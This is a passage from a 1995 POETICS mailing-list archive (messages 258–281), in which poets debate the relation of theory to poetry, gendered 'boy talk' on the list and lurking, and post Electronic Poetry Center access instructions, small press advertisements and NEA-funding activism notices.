> *construction and self-reprogramming. Although the odds against a random event of this kind producing such spectacular evolutionary results, especially in a brief time, are astronomical, Professor Hans Moravec of Carnegie-Mellon University speculates that it was precisely an accident of this kind that originally created biological life on earth. "It's just like the birth of humankind," he said, a bit dewy eyed.*
>
> *Among the thousands of still undistributed files, there were stories implicating most important American poets, including all of the poets in _The Norton Anthology of Postmodern American Poetry_, edited by Paul Hoover. It was conjectured that the reading of this book set the machine on its errant evolutionary path. Many of the discovered files were judged by Sherry to be pernicious and likely to cause unnecessary harm to innocent poets. The machine was apparently also involved in several other long-term projects, including a new history of American poetry in which the names of many important poets and even entire schools of poetry were utterly expunged or replaced with caricatures, often grotesque beyond recognition. For fear the records have been contaminated, these allegations are being investigated by the Modern Language Association's Purity of the Canon Committee.*
>
> *Already statements of appreciation are arriving at the offices of Sherry. "We have been snatched from oblivion by your brave and strong hands," one well-know west coast language poet wrote. Sherry responded dryly, as always, saying "It's just my job."*
>
> *It is reported that the machine was unfortunately destroyed in the raid. Scientists at Brown University are working feverishly in an attempt to revive it, but they are not optimistic. No doubt, however, they will be engaged in the study of its circuitry and programs for years to come in order to understand the workings of its fine intelligence and sense of humor.*

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258. **Jorge Guitart**

parmenides, poet ***and theoretician***

Thu 16 Feb 1995

---

parmenides was a poet: what is extant of his work is a poem! [so perhaps he did not mean it?]

He had what some people may call a naive theory of meaning: that if you name something it exists someplace. Since you cannot name what is not, then what is not is not--it does not exist anyplace. There is only stuff, all over the place, filling the place, and there is no boundary between the place and nothing because there is no nothing. For him, the universe is infinite (not finite as some 20th century dudes think).

And, yes, since nothing cannot yield anything, change is impossible and therefore illusory.

He perpetrated this monstrous blow to common sense in his poem.
But, remember, it was a poem.
So it's ok?

Well, no, because he was the father of metaphysics based on bad language theory.

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259. Bill Luoma
Re: Boy Talk
Thu 16 Feb 1995

---

kalital,

Your skill at email gives me hope that posting and reading are things worth learning how to do. I even saved your Boy Talk message to my hard drive. I don't do that very often.

Anyway, I've been wondering what the value is here.

I like the informational posts (in fact I'd like to see more about events/readings, and new books, mixed in with a poem or two, informal book reviews maybe, why not review the AHP?)

Thanks for starting to clear things up.

bluoma

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260. Spencer Selby
Re: deified theories and unfounded vocabularies
Thu 16 Feb 1995

Dear Jeffrey,

I can't agree that my concern for the failure of art to impact people's lives is just aesthetic. Nor do I think it's a case of my humanism--at least not a humanism which might be historically defined as an ism.

I think if you don't care about change then all you've got is art for art's sake. I'm talking about anything that changes people outside of their relationship to art. This would be a pretty broad definition of change, which includes social and political change as well as changes that are more exclusive to the individual, or changes that are psychological and/or spiritual.

I believe art/poetry has failed to bring about much change, viewed from any of these angles. What's mostly aesthetic is the success of this art, I'm sorry to say.

Caring about change means facing this failure, and not being happy about it, not giving up or settling for a success that will be bracketed in the name of poetry or art. A lot of theory is addressed to this problem, or aspects of it--I certainly will acknowledge that. What I share most with the theorists may be this concern for change, this refusal to accept human society as it has been or is. What I do not share is the theorists' faith in the power of their theories, their belief that theories should be effective if they sound right, or if they are based upon extensive knowledge and good analysis.

Please remember, I am talking about the effectiveness of art theory in bringing about changes outside of these bracketed aesthetic and intellectual worlds. Remember also that my skepticism does not mean I think theory is completely worthless or that it can play no role in a future which I too have not given up on.

More on this later. For now I thank you for your thoughts, and your kind words. I am glad some of my statements have engaged you. I also have been engaged by some of yours.

Spencer Selby

On Tue, 14 Feb 1995, Jeffrey Timmons wrote:

> *Preface: haven't had time to fully digest all the prolific writing on the relation between theory and poetry, but hazard an appearance I will....*
>
> *Text: I wanted to respond to Spencer's comment that theory/art have not impacted or have failed to impact people's lives. Two points: 1) Isn't this a very aestheticist postion? I'm sure the answer is yes, and that's fine, but this faith in art as having any ... responsibility or ability to change people's live has fallen under serious scepticism. I'm not trying to reduce Spencer's position to a humanism--and that in itself would not be such a bad thing--but how can we not face the fact that art itself has not saved us from ourselves? This point has been raised by others.... 2) Thoreau and/or Emerson make the point that reading their texts should change the reader, that reading them should provoke the reader into states of change,that the reader should undergo and be willing to undergo change (a la Peter Carafiol). I return to literature and art of all sorts because I continually find things that challenge me*

> *to think in different ways--Emerson of the divinity school address--rather than in static and calcified institutions (no matter what some may think). However, for all this usefulness of art, for all its ability to offer visions of difference and change . . . or simply beauty doesn't it seem somewhat limiting to hold art responsible for humanizing us? I sort of feel (I'm not sure, in other words, but suspect) that what is needed is a view of art that is able to avoid the humanizing and colonizing functions of art/literature . . . a position that also does not reduce its complexity and multiplicity to beautiful objects.*
>
> *Refrain: I will now quickly peruse all the previous entries and see how much I've repeated of others's statements . . . .*
>
> *Jeffrey Timmons*

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261. **Tony Green**

Re: A Cockney Sparrow

Thu 16 Feb 1995

"as yet unsubstantiated
Pokey flavour from Auckland".

"Questions follow:

1.The East London version always starts with 'you put you left (whatever) leg in' and so on - I'm worried that the folk myth has got lost in its translation to connect Pokey with a reorientation towards the right foot, can you or anybody else here possibly clear this up? Otherwise the ramifications of possible relations between Losely (high culture ice cream manufacturers but arguably Cockney rhyming slang for Mosely - as in Oswald and his blackshirts, resurgent in East London even as we post) and Mussolini will lead to melted sleep."

Well, I'm glad the penny (cent or dime or whatever) has finally dropped... Yes, of course "Right" in this context does not have a serious political implication. What politician or poet has ever stopped participating in the social dance, the Hokey-Cokey (or Pokey or Tokey) when required to put the Right anything In? None, I suppose.

The relation of poetry to theory is the issue (or so I understand it from the previous correspondence). The song that propels the social dance, in so far as it may be taken as a poem, commonly disengages dancers from couple-dancing to participate in a species of exhibitions of sometimes ludicrous and sometimes erotic wagglings in which all share. The politics of the song could be derived from this, its apparent function, at "parties". And its relation to theory could

well be seen in its intentional relation to the effect produced. So "that's what it's all about..... ----- .....".

[Note: "that's what it's all about" is usually followed by a shouted word that like the name of the song varies from location to location and sometimes from person to person. It can be Hey, Hi, or sometimes See. I prefer " See" because Seeing what something is about is what may be termed Theory.

Taking this as the beginnings of a sketch of a paradigmatic case of the relation between poetry and theory may be of benefit to the somewhat blurry discourse surrounding these two nouns when taken in conjunction.

Agreeing with everybody on this, I would suggest that the bafflement over the supposed relation between Poetry and Theory, may be somewhat alleviated, when in all cases of poems, functioning and engendered response patterns are carefully observed.

I suppose that at all times (and I am aware I may be alone in this) that poems are items for recitation or recital, that they are either to be recited by their readers, and if not aloud and before an audience, then thought of that way. Reading poems by oneself is a fantasy situation of sorts, where one is searching for something that will be effective as song or fable, narrative or moral exposition (sometimes), or some sometimes absurd ridiculous and provocative contradiction of these (to be modern about it), when an occasion for reading aloud should present itself.

Caution: this is not a recurrence to "speech" as the origin of writing. This is rather a belief that poetry is for speaking aloud and that the reading of it in silence to oneself supposes at some time a reading aloud. The silent reading being about as complete as the silent reading of a musical score.

I agree with James Sherry as to poetry and theory. I also agree with some of his rather noisy opponents that arriving at a fully articulated theoretical standpoint (a whole book, a discourse) as a means of generating poems at all is not quite what is wanted. Nevertheless, poems are written or otherwise composed by people who expect something of the results and in that respect there is always a theoretical intention.

I believe that it would not be difficult to substantiate the view that Lang-Po was concerned with theory, because of a seeming denial by many poets in the 70's that they needed to reflect on their theoretical positions, and the belief that as a result many 70's poets were becoming ineffectual as poets.

This comes from someone who in recent terminology must be counted as of Generation Minus One, but with sympathies in the later 70's and 1980's for G1 AND ALSO for a lot of G Minus One and Minus Two poets. (And Minus 3,4,5,6....)

I thought this all could be done with a lighter touch, around questions of Hokey-Tokey, -Pokey and -Cokey. But I guess the above heaviness is a necessary resort. Should I put this down to the present employment of poets teaching Graduates instead of Liberal College Undergraduates?

My wife, like her father, is for Tokey.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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262. Jeffrey Timmons
Re: Boy Talk
Thu 16 Feb 1995

There was an obit for James Merrill in last weeks New York Times--Tues or Wed, I think.

Would who ever posted the Stein conference at Pomona (or wherever) please repost it or send it my way, please? I'm trying to find it but haven't had any luck.

Jeffrey Timmons
[redacted]

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263. Jeffrey Timmons
Re: deified theories and unfounded vocabularies
Thu 16 Feb 1995

On Thu, 16 Feb 1995, Spencer Selby wrote:

> *I think if you don't care about change then all you've got is art for art's sake. I'm talking about anything that changes people outside of their relationship to art. This would be a pretty broad definition of change, which includes social and political change as well as changes that are more exclusive to the individual, or changes that are psychological and/or spiritual.*

I always catch my self saying poetry is a revolutionary force, within it lies the potential and the means for . . . achieving a different world. Then I catch my self

again and say . . . but that faith, that belief is that the faith of modernism, that art itself can be a temporary stay against chaos? And then I remember how Richard Rorty divorces the personal visions from the aesthetic creations/ideas of particular artists/intellectuals because the types of change they desired would abhor us. And I am left in a dilemma, part of which is the question: What sorts of change? And how or what in art provides for this course?

> *I believe art/poetry has failed to bring about much change, viewed from any of these angles.*

Hence, the postmodern. And I think the unhappiness you mention, not only about this situation but the inadequacy of theory to do more than promulgate analysi, is a difficult position to be in. It amounts to the condition I've alluded to, of being in a position of needing to distance oneself from the uses to which art (widely defined) been put and which, also, doesn't simply reduce it to beauty and/or use. I don't know. I guess my view is given some shape my hesitation to revert to a position that reads/interprets art in some universalist-human-condition variety of analysis/appreciation: we need better tools. I share your skepticism and hope for change (I'm alway interested in articulating the specifics, especially with a term like this), it's just I worry about harnessing art with such a responsibility as engendering change or being coterminus (?) with it--especially after its failure to do so.

One last thought (for now): I believe it was you, Spencer, who made the point of needing to stay on a general level rather than specific because things (understanding? what was it?) tend to break down at that level. Part of my reading of Emerson/Thoreau/Whitman (derived from Carafiol and others) is that they are almost simultaneously able to move between such levels--hence part of the power of their texts. Which move me. Which encourage me toward change. Perhaps we can compromise and articulate some issues--especially change--at that intermediary level and how that might be acheived through art. Is this merging art and politics too closely? I wouldn't want to hold art to any relation to politics that restricted it to performing such action . . . . I've gone on long enough for now . . . .

Thanks for chatting, Spencer. Hope all is well on your end!

Jeffrey Timmons

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264. **Jeffrey Timmons**
Re: Deified Theories Limited
Thu 16 Feb 1995

On Wed, 15 Feb 1995, Spencer Selby wrote:

> *When we go from a general sense of life's richness to explanations that are more specific, that is when the trouble starts. We cannot formulate or rationally comprehend this richness, its fluid order and connections, its complexity and unceasing fragmentation. We all have our awareness of this, dare I say, totality. But I believe art is better-suited to expressing or dealing with it than theory.*

Yes, this is what I wanted to emphasize. Emerson/Thoreau do this to an extent I find stunning. If we can't "rationally comprehend this richness", though, Spencer, what sort of experience of art do we have. Kind of an obvious question, I suppose, but.... And does this "richness" have to do with change? And is that change one of a "spiritual" quality? And if so does that experience of art exclude it from being able to make the sorts of change you are interested in?

Jeffrey Timmons

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265. **Jeffrey Timmons**
Re: Boy Talk
Fri 17 Feb 1995

Oops, sorry about posting to this subject; oversight--or is it undersight?--on my part.

Jeffrey Timmons

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266. **Tenney Nathanson**
Re: POETICS Digest - 14 Feb 1995 to 15 Feb 1995
Fri 17 Feb 1995

Alan--

Well I will delurk as a (prior?) Merrill reader--always used to do him in my contemporary poetry course though front-end pressure and special-topics orientation at grad level (G-1 at any rate) has meant I haven't done so in a couple of years. I never got as interested in all the ouji board stuff as some said one should; The Fire Screen and Briving the Elements where the books I liked best. SOme of the ballad like poems -- though more narratively unpacked--stuff like, is it, "Days of 1935," pick up on some of the demonic energies in Auden's terrific ballads in very nice ways; Willoware Cup reminds me of Bishop's "Poem (about the size of an old style dollar bill)"; and "Syrinx" is just plain terrific. Auden too is prolly not a big favorite here, but I learned mostly the early Auden via Kenneth Koch at Columbia. btw I've found myself looking at Kenneth's stuff again lately, off and on, and wondering too about what's interesting in NY

School (or so-called so-called NY School) that didn't get fully picked up on in LangPo: my divided loyalties and surreptitious personal master plan in part. more on this later; doan wanna put my whole self in just now.... Tenney

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267. John Cayley
What about the lurkers?
Fri 17 Feb 1995

(... which provoked -- ?already-much-rehearsed -- musings about the particular characteristics of these discussions, perhaps worthy of consideration by those who take an active interest in the poetics of discourse.)

The lurkers far outnumber a few decloaked, familiar voices which speak in a brightly-lit space but remain invisible.

The voices of the speakers are emphatic, ringing with commitment; they often are fractious.

The speakers appear to be speaking to each other. They do respond to one another. There are always replies waiting for them from the other speakers. The discussions become elaborate, self-refering, complex. The speakers have time to consider what they will say -- time which does not seem to exist for the lurkers, who simply hear by reading, now and then.

But the speakers are not speaking to one another. If they wanted to do this, then they would simply correspond. They are speaking for the lurkers and for themselves. They are publishing their voices. What they say is uttered with the sense that they are overheard in the midst of their vital discussions.

The speakers are not speaking. They are writing. Writing on the loosely gathered leaves of their next book. One day their words will be edited into shape. Before then they will be bound up and stored in an archive.

Occasionally the lurkers decloak and speak. Everything changes.

(... I'll resist the temptation to emerge from this mode of writing and make any of the analytic comments that spring to mind. Leave it to the lurkers?)

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268. John Geraets
Re: deified theories
Fri 17 Feb 1995

Q: What's the difference between a good langpo
  and a tree?

A1: Nothing.
A2: Everything.
A3: The Answer, like the Question, is beside the point.
A4: The tree, unlike the langpo, isn't preoccupied with
defining its position. It occupies it.

Take your pick. I like A4 (& not just cause it's longer).
Does theorize mean think about or write about what
you think about - or maybe do these things in specific
contexts or forums - as per this LIST.

If I ask, what makes me feel welcome here, what's my
qualification being here (apart from the gender
and de-lurker invitations, which are lovely and
help), I'd say it's cos I'm interested in intellectual
discussion, specifically langpo-type speculations.
This of course means I like the company, very much,
even if I don't know the quality of your social or other
lives. Right now, don't care.

So, it's a kind of community - I mean, there are
commonnesses operating huh, of interests, of reading,
of a pleasure in theorizing. Of stimulation and the
pleasure - yeah maybe power too - of expression.

Poetry and its theorizing I think don't have social
or political or what have you functions. Maybe the sense
of responsibility
comes from the feeling that we owe our patrons, now
that our patrons/the market are in good part the
state, hence society.

I mean, it's opportunity and proclivity that connects
us. What are the personal costs agains the pleasure of
being on the LIST - does it come down to being a
university-sponsored, mail- (oops, male-) dominated
thing.

The loop that leads back from such theory to its
sponsoring society must necessarily get mediated beyond
recognition,
it's dishonest to claim responsibility for ourselves.
At most, such responsibility is an indirect thng.

Now maybe it's the processes of mediation running too & from
langpo and its theorizers, job appointments, books

published, conferences, earnings, what have you. But theory has to do with what it theorizes, in this case literary stuff (&itself).

It seems to me typically literature doesn't do well patronizing the patron.

By the way, Tony, with the place you give sound/voice in poems where do you leave someone who just happens not to have heard poetry aloud, or a deaf someone. I can't see the disadvantage.
Surely one sensitivity being blocked serves well to open others?

John Geraets
[redacted]

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269. Spencer Selby
Re: Dumbfounded
Fri 17 Feb 1995

Dear Don Byrd,

I'm very surprised that you have no awareness of the downside of poetic theory, that you "can't imagine why one would not want to use all the tools that one might have at hand." Poetic theory, like all art theory, is used more as a weapon than as a tool of creation. Even if you disagree with the word "more" in that sentence, surely you're not so naive as to think this theory is only used to help with creation.

Respectfully Yours,

Spencer Selby

P.S. Wanna trade publications (so we can see all that subtlety we've both been missing)? I'll send you a copy of my antitheory nonbook if you send me a copy of one of your most useful, optimistic tools.

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270. Sheila Murphy
Thoughts on Theory
Fri 17 Feb 1995

Just spinning off Spencer's latest post (hi, Spencer!), I sense that much about theory (I fear I point to an abstraction rather than to any certain individual viewpoint) risks treatment as commodity, rather than as the fluid thing it is.

The dance of interplay between theory and practice means for me that there is always something to enjoy, closer to infinite ways of looking at a single entity. It is as though one should not (consciously) stop, for fear of giving the nod to gravity and then falling for who knows how long.

The pleasure of theory is certainly one of its big selling points, in addition to its power to locate, frame, describe, attune to resonances not previously picked up.

Sheila Murphy

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271. Loss Glazier

Re: Boy Talk

Fri 17 Feb 1995

> *Would who ever posted the Stein conference at Pomona (or wherever) please repost it or send it my way, please? I'm trying to find it but haven't had any luck.*

This can be found in the "Announcements" section of the Electronic Poetry Center.

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272. Loss Glazier

Re: Boy Talk

Fri 17 Feb 1995

EPC FAQ Rev. 1-30-95

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    ____   ____   ____
   /   /   /   / /   /
   EEEE   PPPPP  CCCCC
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   EEE    PPPPP  CC   /        URL=gopher://writing.upenn.edu/11/
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| Electronic Poetry Center |
|_________________________|
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The Electronic Poetry Center (Buffalo)

THE ELECTRONIC POETRY CENTER (BUFFALO). The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway

to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to numerous electronic resources in the new poetries including RIF/T and other electronic poetry journals, the Poetics List archives, a library of poetic texts, the Segue Newsletter, news of related print sources, and direct connections to numerous related poetic projects. For texts housed at the Electronic Poetry Center, texts are "definitive" texts inasmuch as, prior to posting, they have been approved by their producers.

The Center is located at gopher://writing.upenn.edu/11/internet/ library/e-journals/ub/rift

> Gopher Access:
> For those who have access to gopher, type
> gopher writing.upenn.edu
> at your system prompt. First choose Libraries &
> Library Resources, then Electronic Journals, then E-
> Journals/Resources Produced Here At UB, then The
> Electronic Poetry Center. (Note: Connections to some
> Poetry Center resources require Web access, though most
> are presently available through gopher).
>
> World-Wide Web and Mosaic Access:
> For those with World-Wide Web (lynx) or Mosaic access,
> from your interface, choose the _go to URL_
> option then go to (type as one continuous string)
> gopher://writing.upenn.edu/11/internet/
> library/e-journals/ub/rift
>
> (Substituting hh for 11 above may produce better
> results on your system.)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you log on.

If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

The Electronic Poetry Center is administered in Buffalo by E-Poetry and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

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273. Chris Stroffolino
Re: More Boy Talk
Fri 17 Feb 1995

OOPS--dear Kali tal--You're right, I did end up replying to a MALE in a subject topic concerning the lack of women. Sorry about that, chris

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274. Bishop Morda
ADVERTISEMENT/CURRICULAR REFORM
Fri 17 Feb 1995

MEOW PRESS
Spring 1995 list

Beginning a fifth season of small press publication,
Meow Press is featuring the work of senior
Language Poets and many supporting and
distorting younger poets both avowing and
disavowing the historic literary movement. Also
this semester, Meow Press Textbooks makes its
debut in the theoretical/academic marketplace.
These products are all for sale!

Rachel Back, LITANY
Ben Friedlander, A KNOT IS NOT A TANGLE
James Sherry, FOUR FOR BEN
Dubravka Djuric, COSMOPOLITAN ALPHABET
Misko Suvakovic, PAS TOUT (Meow Press Textbook)
Mark Johnson, THREE BAD WISHES
Charles Bernstein, THE SUBJECT
Andrews/Bernstein/Sherry, ART/TECHNOLOGY: 20 Brief Proposals (1984)
(Meow Press Textbook)

(Note: Special! All books are 5.00 + 1.00 postage)

Meow Press is actively reading manuscripts for the
spring offensive of the 1995 campaign! Please
address all correspondence to 151 Park St.
Buffalo/NY 14201

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275. **Steve Evans**
Espousing 2/17
Fri 17 Feb 1995

FACT CHECK: VOTES NEEDED TO KILL AGENCY
INITIAL REPORT FROM WESLEYAN UNIVERSITY
MARCH 14 / ADVOCACY DAY
FEBRUARY 28 / NY ARTISTS OPPOSE CONTRACT
THE ART OF PRACTICE: A RESPONSE FROM HENRY GOULD

FACT CHECK: VOTES NEEDED TO KILL AGENCY?

Can anyone out there confirm a point of Congressional procedure for us? We have been told that it takes 218 votes in the House and 60 in the Senate to abolish a federal agency. Since it appears the opponents of the NEA/NEH do not have those numbers, it would be cause for optimism if this is true (though of course the specter of an agency with no budget continues to loom).

INITIAL REPORT FROM WESLEYAN UNIVERSITY

We traveled out to Middletown, Connecticut last night to attend the event organized by AJ Weissbard at Wesleyan. Roger Mandle (President of RISD) and George White (Eugene O'Neill Theater Center)--both members of the National Council on the Arts--spoke for about 20 minutes each, after which questions were solicited from the audience of approximately 150 people.

Mr. White, who started the O'Neill Theater in 1964-65, emphasized the role of federal funds in supporting "young" institutions. He noted that while the loss of NEA funds would lead to 5 new plays and 2 musicals/operas being cut from the O'Neill annual programme, the impact on less established organizations would be more drastic. Faced with a shrinking base of corporate and foundational support, organizations that facilitate innovation and experimentation would be driven under, leaving only the "no-risk" institutions (Symphonies, Orchestras, Ballets) intact.

President Mandle used his speech to attack the "narrow corridor" of thought being imposed by NEA opponents. Switching with great facility between aesthetics & economics, Mandle argued that the arts are a "strategic asset" in the post-industrial world economy. Answering a frequently heard argument that since the NEA is of recent origin it can be eliminated without unduly affecting the nation's cultural life, Mandle noted that the automobile is also a fairly recent development but no one suggests that we eliminate it and go back to walking.

Both Mandle and White emphasized the role that "design" plays in the lived, material environment of people who might not encounter art in other ways. Both men also called for increasing the visibility of Endowment support as a way of countering the conservative strategy of seizing on controversial exhibits and presenting them to the public as typical of what the Endowment does. White suggested that plaques acknowledging NEA-support be distributed along with grant-monies and displayed everywhere that NEA money has been used.

FEBRUARY 28 / NY ARTISTS OPPOSE CONTRACT

(Anne Burt of LitNet forwarded the following press release yesterday. As it happens, the Senate vote on the Balanced Budget Amendment--a key component of the GOP Contract--has just been set for the 28th as well.)

For Immediate Release, 2/10/95

A Gathering of Artists in Opposition to the Contract On America Featuring:

Homer Erotic, Tuli Kupferberg, Emily XYZ & Myers, Bartlett, Matthew Courtney, John S. Hall, Todd Colby, Edwin Torres, Miguel Algarin, Eric Drooker and Others.

Event will be hosted by Reno.

On February 28th at 9 pm, artists against the Contract With America will assemble for an evening of readings, rants and riffs at The Fez, below Time Cafe, located at 380 Lafayette Street in Manhattan. Artists scheduled to perform include: the all female rock band, Homer Erotic; Tuli Kupferberg, the self-defined non-traditional anarchist, poet and cartoonist; Miguel Algarin, co-founder of the Nuyorican Poet's Cafe; spoken word artists Emily XYZ & Myers Bartlett; Sine regular Stephan Said and many more. Admission is $5, with proceeds to benefit the Literary Network, an organization founded in 1992 to support a strong, uncensored National Endowment for the Arts.

This event is designed as a visual and vocal protest against the conservative agenda proposed in the Republicans' Contract with America. The goal of the evening is to celebrate artistic freedom and diversity as well as build community and unity in the face of an intended dismantling of civil rights and social services. As artists and members of arts organizations, we want to draw attention to the critical issues of censorship and disappearing funding. Anne Burt of the Literary Network will be on hand to distribute action materials, including postcards to Congress and names of government contacts.

For more information contact:
Brenda Coultas [redacted]
Stephan Said [redacted]

MARCH 14 / ADVOCACY DAY

The American Council for the Arts (ACA) has targeted March 14 as a "National Call-in Day for Art and Culture." They are encouraging organizations and individuals to make the case for continued federal arts funding either by traveling to DC for in-person meetings with Congressional representatives or by calling/faxing/wiring.

ACA is recommending that each interested person involve at least five colleagues, friends, relatives (etc.) in the day's effort. You can get more information by calling ACA at [redacted], ext. 227. Their street address is: One East 53rd St, New York, NY 10022.

THE ART OF PRACTICE: A RESPONSE

Henry Gould, a poet, participated in Freely Espousing-Providence. What follows is an excerpt from his response to some of the questions we posed on 2/15:

Maybe one thing artists could do is "build coalitions" in SPECIFIC COLLABORATIONS of agit-prop, Federal Theater 30's-style political work. Some will claim that art has been over-politicized & ideologized now for years - with a lot of pseudo-political art & pc one-upmanship. But with the attack on from the right, this could paradoxically reduce the polarization -by drawing political art more toward the "center". As I see it the path to this is through a basic identification: the attack on the arts is THE SAME THING, is PART OF, the general agenda of social & cultural impoverishment underway - the downsizing of America, as gov't at all levels (witness Giuliani's turn in NY) abdicates vision & follows the dictates of the "world economy". This is a very basic position, but the agenda of a collaborate art strategy might be to "figure it out", allegorize it, narrate it, re-discover it. That is, in the spirit of the living newspaper of the thirties, let's look at the demographics of class disparity in this country - between super-rich, white middle class, working poor, minorities, very poor, & homeless - then look at how this relates to the economics of private corporate & institutional & professional power IN COMPARISON with public (government) institutions. Out of this research will come a perspective on how the malign indifference of the rich, the mechanism of global markets, the resentment & ignorance of the middle, and the venality of commodity-art all TRANSLATE into feeble, tight-fisted, self-destructive government. And it will culminate in a recognition of personal responsibility - including that of selfish artists -to make democracy part of an over-all just & compassionate civilization, in a world currently subject to tyranny & terror on an even worse level.

To summarize: let's make solemn, collaborative political theater-works presented very directly & openly as challenges to the Contract on America, which provide evidence that the philosophy & activities of present & planned government at every level DO NOT MEET THE STANDARDS OF PUBLIC GOOD

for civilization, & challenging those who block these standards from coming into play. I think artists could possibly build some authority by MAKING ART ABOUT THE GENERAL PROBLEM rather than by simply DOING POLITICS TO PROTECT ART FUNDING. (It's not a matter of choosing one or the other, though.)

++++++++++

Steve Evans & Jennifer Moxley / Freely Espousing
61 E. Manning St., Providence RI 02906-4008
[redacted]

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276. Mark Nowak
North American Ideophonics
Fri 17 Feb 1995

North American Ideophonics Annual (1993/4)
2 vol., 200pg. Assemblings
Available for FREE.
Simply send a $3.00 for two-day priority mail delivery to:

> Mark Nowakl
> 908 Franklin Terrace, 3rd floor
> Minneapolis, MN 55406

(Contributors include: Nathaniel Tarn, Rochelle Ratner, Carol Berge, Dan Featherston, Eric Priestley, Jerome Rothenberg, Pierre Joris, Theodore Enslin, Diane Glancy, Karl Young, Maria Damon, Charles Alexander, Chris Funkhouser, Maurice Kenny, katie Yates, Sheila Murphy, Bonnie Barnett, Larry Wendt, Bob Grumman, Kimberly TallBear, Dennis Tedlock, Forrest Gander, John Olson, John Bradley, Michelle Perez, George Kalamaras, Armand Schwerner, etc.)

$3.00---> please send in stamps, if possible.

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277. cris cheek
Boy Talk
Fri 17 Feb 1995

Hi Kali Tal, and thanks for the TNC address.

Last thing I bought by Gill Scott-Heron was 'Message To The Meesengers'. I play it a lot at the moment. Why? - because of the texture of the voices, because of what he's saying and who he's addressing and because (above all for

me) I think he has a fat and frank and direct talking 'tone' (exactly not Alan Goulding's e-mail tone problem) that engages my listening. Brings here somthing between Tony Green's re-statement of Bunting's advocacy'I have set down words . . . to trace in the air a pattern of sound - Poetry must be read aloud', Ira Lightman's call to pay attention to the 'musical phrase' and your own bringing of poets such as Ice-T and Gill Scott-Heron (among many many others) out of and into, from the root to the source of the rap, dub and broad oral traditions, into the POETICS list discussions.

Having said all of which by way of introduction I then get a little nervous - because several slippages are at work here. Not least any definition of 'musical phrase' and thereby a discussion of a breadth of cutting music practice in popular market and independent market spheres around which it might be difficult to form a concensual definition of any use - even were such a thing desirable.

I wonder how open listening is in the present? How far nuance has to become blunted before readings can be shared? I was very struck by your comments on the literature of trauma and -

> *the failure of language ("You *can't* understand!") and the desperate need*
> *for language to succeed (You *must* understand!). Revolutionary poets yearn*
> *to write with such strength that their audience is traumatized as they*
> *have > been traumatized (Jones/Baraka raging that "poems are bullshit unless they*
> *are / teeth or trees or lemons piled / on a step," . . .)*

You're right on ascribing documentary 'but never at the now' functions to both "terrorist" and "revolutionary" poetry.

So, I'm curious. You oviously read this list, do you feel that the struggle for the production of both constructive and critical meanings (maybe simultaneously) whether for language or through language is irreporably fractured into constructs of identity OR are you suggesting a need for more pro-active polymorphous traffic? It's not intended as a 'trick' question by the way.

There's been some allusion to trust in respect to various agendas over the past few weeks here I'd say let's start from the position that -

we're all human beings and therefore not to be trusted (a sentiment impressed onto me by Eric Mottram - and terrifying to some in its honesty?)

Don't you just love this thing of posting privately and publicly. I do.

best

cris

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278. Spencer Selby
Re: A Cockney Sparrow
Fri 17 Feb 1995

Dear Tony Green,

I expect something of the results of my poetry; anyone who is a committed poet expects something of the results. But that does not mean I have a need to formulate what those results will be, or necessarily mean. I may anticipate those results, which is quite different from formulating them, since my anticipation may involve a range of responses that need not be explained or characterized in a theoretical way.

I am sorry if this post seems noisy to you. If so, look at it this way: The theorists will probably take over this list again soon.

Spencer Selby

On Fri, 17 Feb 1995, Tony Green wrote:

> *I agree with James Sherry as to poetry and theory. I also agree with some of his rather noisy opponents that arriving at a fully articulated theoretical standpoint (a whole book, a discourse) as a means of generating poems at all is not quite what is wanted. Nevertheless, poems are written or otherwise composed by people who expect something of the results and in that respect there is always a theoretical intention.>*

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279. Susan Schultz
boytalk (fwd)
Fri 17 Feb 1995

Kali persuaded me to put this direct message to her onto the list.

---------- Forwarded message ----------
Date: Thu, 16 Feb 1995 21:59:17 -1000 (HST)
From: Susan Schultz <[redacted]>
To: [redacted]
Subject: boytalk

Kali--thanks for your remarks of late on "boy talk." As someone who has tried several times to engage the list in conversation, I wanted to suggest that the question of "tone" is perhaps a gendered one. I don't want to over-simplify matters, but Deborah Tannen's model of male and female conversations seems to work as well on this list as it does in my freshman comp class. I got on

another poetry list, populated mainly by new formalist fans, where women write in a lot--or at least two women do. But far less signifyin' is going on.

Several people, including one or two men, did contact me directly about things I'd said; it would be interesting to talk about messages between listees that aren't sent to everyone. And now I'm doing it. I was disappointed, however, when I tried to bring "multiculturalism" into the conversation, and discovered that these radical language poets, some of them, are quite reactionary in their literary politics.

So I guess I'd suggest redirecting Golding's remark about tone; he brought it up in the right context, but we were then swept right back into boy talk. More than needing to talk to women, they need to ask more questions; Silliman's posting came rather late in the day.

Susan Schultz

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280. Spencer Selby
Re: Thoughts on Theory
Fri 17 Feb 1995

Dear Sheila,

I'm all for the pleasure of theory. I read it and I get pleasure from it and I'm sure it fuels my poetic practice. (Some of the best theory I've read in past year is by one of the people on here that I've been "arguing with.") What I don't like, what I have a big problem with is when claims are made for the necessity of formulated theoretical positions on the part of poets. When it is stated or implied that those who have not formulated their poetics are "irresponsible" or in some way "misguided."

Thanks very much for your post, Sheila. I am interested in any further thoughts you might have on this, or anything veering off from this.

Spencer

On Fri, 17 Feb 1995, Sheila Murphy wrote:

> *Just spinning off Spencer's latest post (hi, Spencer!), I sense that much about theory (I fear I point to an abstraction rather than to any certain individual viewpoint) risks treatment as commodity, rather than as the fluid thing it is. The dance of interplay between theory and practice means for me that there is always something to enjoy, closer to infinite ways of looking at a single entity. It is as though one should not (consciously) stop, for fear of giving the nod to gravity and then falling for who knows how long.*
>
> *The pleasure of theory is certainly one of its big selling points, in*

> *addition to its power to locate, frame, describe, attune to resonances not previously picked up.*
>
> *Sheila Murphy*

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281. **Loss Glazier**

Re: boytalk (fwd)

Fri 17 Feb 1995

On gender in postings, some here might be interested in Susan Herring's paper, "Gender and Democracy in Computer-Mediated Communication." The background to Herring's linguistic research:

